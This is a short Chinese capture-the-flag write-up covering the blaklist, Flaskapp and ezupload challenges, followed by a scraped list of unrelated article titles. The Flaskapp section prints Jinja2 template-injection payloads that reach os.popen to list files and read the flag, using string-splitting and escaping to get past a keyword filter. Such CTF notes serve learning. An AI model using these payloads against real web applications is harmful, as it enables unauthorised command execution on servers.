blaklist

以前做过BUU的强网杯随便注,不过当时的两种解法都不行,做了这道题算是又学会了一种方法,直接记录在BUU的博客里了:
https://blog.csdn.net/qq_44657899/article/details/103239145

Flaskapp

在decode界面可以进行进行注入,提交payload的base64编码即可。

{{ [].__class__.__base__.__subclasses__()[127].__init__.__globals__['po'+'pen']('ls').read()}}

flag被过滤使用fla\g绕过。

{{ [].__class__.__base__.__subclasses__()[127].__init__.__globals__['po'+'pen']('cat  this_is_the_fla\g.txt').read()}}

ezupload

这道题因为不知道蚁剑的虚拟终端所以没做出来。。

i春秋新春战疫公益赛复现相关推荐

  1. 长安“战疫”网络安全赛-wp

    长安"战疫"网络安全赛-wp Web tp shiro? Baby_Upload flag配送中心 flask RCE_No_Para Crypto no_can_no_bb ma ...

  2. #榜样的力量#工业富联富集云防疫 App丨数据猿新冠战“疫”公益策划

    "该项目案例由工业富联提交申报,参与数据猿推出的<寻找新冠战"疫",中国数据智能产业先锋力量>的公益主题策划活动. 大数据产业创新服务媒体 --聚焦数据 · ...

  3. #榜样的力量#航班管家全球大交通出行疫情追踪服务系统丨数据猿新冠战“疫”公益策划...

    "该项目案例由航班管家提交申报,参与数据猿推出的<寻找新冠战"疫",中国数据智能产业先锋力量>的公益主题策划活动. 大数据产业创新服务媒体 --聚焦数据 · ...

  4. #榜样的力量#思必驰疫情防控机器人丨数据猿新冠战“疫”公益策划

    "该项目案例由思必驰提交申报,参与数据猿推出的<寻找新冠战"疫",中国数据智能产业先锋力量>的公益主题策划活动. 大数据产业创新服务媒体 --聚焦数据 · 改 ...

  5. #榜样的力量#内蒙古自治区互联网医疗服务系统丨数据猿新冠战“疫”公益策划...

    "该项目案例由浪潮健康提交申报,参与数据猿推出的<寻找新冠战"疫",中国数据智能产业先锋力量>的公益主题策划活动. 大数据产业创新服务媒体 --聚焦数据 · ...

  6. #榜样的力量#中诚信征信新冠肺炎全国疫情感染场所实时查询平台丨数据猿新冠战“疫”公益策划...

    "该项目案例由中诚信征信提交申报,参与数据猿推出的<寻找新冠战"疫",中国数据智能产业先锋力量>的公益主题策划活动. 大数据产业创新服务媒体 --聚焦数据 · ...

  7. #榜样的力量#天玑数据大脑疫情风险感知预警平台“智疫通”丨数据猿新冠战“疫”公益策划...

    "该项目案例由中科天玑数据科技股份有限公司(简称:中科天玑)提交申报,参与数据猿推出的<寻找新冠战"疫",中国数据智能产业先锋力量>的公益主题策划活动. 大数 ...

  8. 2020新春战疫ctf公益赛——Misc套娃

    一看套娃就能猜到会是一个繁琐的题目,从压缩包里放着压缩包可以猜测整个题目的过程中寻找压缩包密码是一条主线. 第一层 很明显的txt里边Ook的加密,解密便得到压缩包2的密码. brainfuck/Oo ...

  9. 2020新春战疫网络安全公益赛——MISC套娃

    对于这个题,膜拜出题人的脑洞,废话不多说,上wp MISC套娃 第一层 打开1.txt 全是Ook 可知是Ook加密,可以得到第二层的密码 然后还有张唐僧的图片,用Hex editor分析,发现最后有 ...

最新文章

  1. CUDA之单thread单block多thread单block多thread多block
  2. 我国计算机通信技术现状及未来的发展趋势,我国计算机通信技术现状及未来的发展趋势...
  3. 线程池ThreadPoolExecutor
  4. 六周第三次课 9.6/9.7 awk
  5. 手动实现Promise
  6. Arthas 征文活动火热进行中,cherry 键盘等你来拿!(内附第三期中奖名单)
  7. Acwing 1072. 树的最长路径
  8. 小甲鱼 OllyDbg 教程系列 (二) :从一个简单的实例来了解PE文件
  9. mitmproxy抓包 | Python实时生成接口自动化用例
  10. AD属性对照表 LDAP
  11. BP神经网络预测matlab程序销售量预测
  12. freeswitch 使用ipset和iptables阻止国外ip扫描端口
  13. android博客园蓝牙指令,【安卓相关】蓝牙开发、扫描、通知、发送指令
  14. 《近代名老中医经验集》出版
  15. 好用的国内代理http国内代理ip
  16. 电商企业如何选择ERP管理软件
  17. 后台管理系统框架,总有你想要的
  18. 当GNN遇见NLP(九):Psycholinguistic Tripartite Graph Network for Personality Detection,ACL2021
  19. 游戏测试_怎么样测试游戏(入门)
  20. Qt视频监控系统一个诡异问题的解决思路(做梦都想不到)

热门文章

  1. ACP敏捷9.敏捷应用场景
  2. 詹姆斯·西蒙斯 - 金融业的数学大师
  3. 三十行代码实现打开笔记本摄像头进行实时口罩识别
  4. 分享10个值得每天一看的精品网站,可以让你全方面得到提升,每一个都会让你大开眼界...
  5. Mac安装与配置jmeterjmeter的使用jmeter生成性能测试报告
  6. 基于Kali的一次DDos攻击实践
  7. 网络扫描工具Nmap使用教程(1)
  8. matlab删除行向量里面相同的数据
  9. IOT(34 )---联网常见通信协议与通讯协议梳理- 通讯协议
  10. 全藏字【藏文字】的生成算法设计